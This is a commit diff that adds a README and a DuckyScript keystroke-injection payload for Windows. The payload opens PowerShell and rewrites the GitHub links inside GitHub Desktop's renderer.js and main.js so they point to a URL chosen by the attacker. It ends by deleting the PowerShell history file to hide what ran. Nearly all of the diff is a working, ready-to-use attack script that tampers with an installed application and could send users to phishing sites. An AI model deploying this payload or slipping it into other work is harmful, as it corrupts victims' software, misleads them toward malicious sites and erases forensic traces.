[+] Replace Links In GithubDesktop
This script replaces the hardcoded GitHub links in the `renderer.js` and `main.js` files inside the GitHub Desktop application with a custom link provided by the user.pull/480/head
parent
9f5f323a0d
commit
1fa6cea874
|
@ -0,0 +1,67 @@
|
||||||
|
# Replace Links In GithubDesktop
|
||||||
|
|
||||||
|
This script is written in **DuckyScript** and is designed to modify links in the GitHub Desktop application on Windows 10/11 systems. It automates the replacement of GitHub URLs with a custom URL defined by the user.
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [Features](#features)
|
||||||
|
- [Prerequisites](#prerequisites)
|
||||||
|
- [Usage](#usage)
|
||||||
|
- [Credits](#credits)
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
This script replaces the hardcoded GitHub links in the `renderer.js` and `main.js` files inside the GitHub Desktop application with a custom link provided by the user. It does the following:
|
||||||
|
|
||||||
|
1. Detects the installation folder of GitHub Desktop.
|
||||||
|
2. Identifies the latest installed version of GitHub Desktop. It may happen that there are multiple versions on the computer but it is always the most recent one that is used, I would suggest to Github Desktop developers to remove old versions that unnecessarily burden a computer.
|
||||||
|
3. Replaces any occurrences of GitHub URLs in the `renderer.js` and `main.js` files with a new link defined by the user.
|
||||||
|
|
||||||
|
The script uses **PowerShell** to perform this replacement after detecting the operating system and target files.
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- **Windows 10/11**
|
||||||
|
- **GitHub Desktop** installed on the machine.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
1. **Modify the script**:
|
||||||
|
- Define the new URL to replace the original GitHub link by modifying the `#NEW_LINK` variable in the script:
|
||||||
|
```duckyscript
|
||||||
|
DEFINE #NEW_LINK example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Customization**:
|
||||||
|
- Ensure that the path to GitHub Desktop is correct. If GitHub Desktop is installed in a non-default location, modify the `#SUBDIRECTORY` variable accordingly:
|
||||||
|
```ducky
|
||||||
|
DEFINE #SUBDIRECTORY \AppData\Local\GitHubDesktop
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Execution**:
|
||||||
|
- Upon execution, the script will:
|
||||||
|
- Open PowerShell.
|
||||||
|
- Detect the GitHub Desktop installation directory.
|
||||||
|
- Replace all GitHub URLs in the `renderer.js` and `main.js` files with the new URL you specified.
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
<h2 align="center"> Aleff :octocat: </h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://github.com/aleff-github">
|
||||||
|
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
|
||||||
|
</a>
|
||||||
|
<br>Github
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
|
||||||
|
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
|
||||||
|
</a>
|
||||||
|
<br>Linkedin
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
|
@ -0,0 +1,109 @@
|
||||||
|
REM_BLOCK
|
||||||
|
#####################################################
|
||||||
|
# #
|
||||||
|
# Title : Replace Links In GithubDesktop #
|
||||||
|
# Author : Aleff #
|
||||||
|
# Version : 1.0 #
|
||||||
|
# Category : Execution #
|
||||||
|
# Target : Windows 10/11 #
|
||||||
|
# #
|
||||||
|
#####################################################
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
|
||||||
|
REM REQUIRED - Define here the new url that will replace the original github link
|
||||||
|
DEFINE #NEW_LINK example.com
|
||||||
|
|
||||||
|
REM DON'T CHANGE - This variable is a constant in this case, change it only if you are sure that the path to GithubDesktop is not the default
|
||||||
|
DEFINE #SUBDIRECTORY \AppData\Local\GitHubDesktop
|
||||||
|
|
||||||
|
|
||||||
|
REM_BLOCK
|
||||||
|
Credits: Hak5 LLC
|
||||||
|
Website: https://hak5.org/
|
||||||
|
Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
EXTENSION PASSIVE_WINDOWS_DETECT
|
||||||
|
REM VERSION 1.1
|
||||||
|
REM AUTHOR: Korben
|
||||||
|
|
||||||
|
REM_BLOCK DOCUMENTATION
|
||||||
|
Windows fully passive OS Detection and passive Detect Ready
|
||||||
|
Includes its own passive detect ready.
|
||||||
|
Does not require additional extensions.
|
||||||
|
|
||||||
|
USAGE:
|
||||||
|
Extension runs inline (here)
|
||||||
|
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||||
|
boot delay
|
||||||
|
$_OS will be set to WINDOWS or NOT_WINDOWS
|
||||||
|
See end of payload for usage within payload
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
DEFINE #MAX_WAIT 150
|
||||||
|
DEFINE #CHECK_INTERVAL 20
|
||||||
|
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
|
||||||
|
DEFINE #NOT_WINDOWS 7
|
||||||
|
|
||||||
|
$_OS = #NOT_WINDOWS
|
||||||
|
|
||||||
|
VAR $MAX_TRIES = #MAX_WAIT
|
||||||
|
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
|
||||||
|
DELAY #CHECK_INTERVAL
|
||||||
|
$MAX_TRIES = ($MAX_TRIES - 1)
|
||||||
|
END_WHILE
|
||||||
|
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
|
||||||
|
$_OS = WINDOWS
|
||||||
|
END_IF
|
||||||
|
|
||||||
|
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
|
||||||
|
IF ($_OS == WINDOWS) THEN
|
||||||
|
STRING HELLO WINDOWS!
|
||||||
|
ELSE
|
||||||
|
STRING HELLO WORLD!
|
||||||
|
END_IF
|
||||||
|
END_REM
|
||||||
|
END_EXTENSION
|
||||||
|
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 1000
|
||||||
|
STRINGLN PowerShell
|
||||||
|
DELAY 1000
|
||||||
|
|
||||||
|
STRINGLN
|
||||||
|
$path = Join-Path -Path $env:USERPROFILE -ChildPath "#SUBDIRECTORY"
|
||||||
|
|
||||||
|
$folders = Get-ChildItem -Path $path -Directory | Where-Object { $_.Name -like "app-*" }
|
||||||
|
|
||||||
|
$versions = $folders | ForEach-Object {
|
||||||
|
[PSCustomObject]@{
|
||||||
|
FolderName = $_.Name
|
||||||
|
Version = [version]($_.Name -replace "app-", "")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$latestVersionFolder = $versions | Sort-Object Version -Descending | Select-Object -First 1
|
||||||
|
|
||||||
|
$latestFolderPath = Join-Path -Path $path -ChildPath $latestVersionFolder.FolderName
|
||||||
|
$latestFolderPath += "\resources\app\"
|
||||||
|
$renderer = "renderer.js"
|
||||||
|
$main = "main.js"
|
||||||
|
|
||||||
|
$filePath = "$latestFolderPath$renderer"
|
||||||
|
|
||||||
|
$fileContent = Get-Content $filePath
|
||||||
|
$regex = [regex]'"(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"'
|
||||||
|
$modifiedContent = $fileContent -replace $regex, '#NEW_LINK'
|
||||||
|
Set-Content -Path $filePath -Value $modifiedContent
|
||||||
|
|
||||||
|
|
||||||
|
$filePath = "$latestFolderPath$main"
|
||||||
|
$fileContent = Get-Content $filePath
|
||||||
|
$regex = [regex]'openExternal\("(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"\)'
|
||||||
|
$modifiedContent = $fileContent -replace $regex, ('openExternal("#NEW_LINK")')
|
||||||
|
Set-Content -Path $filePath -Value $modifiedContent; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
|
||||||
|
|
||||||
|
END_STRINGLN
|
Loading…
Reference in New Issue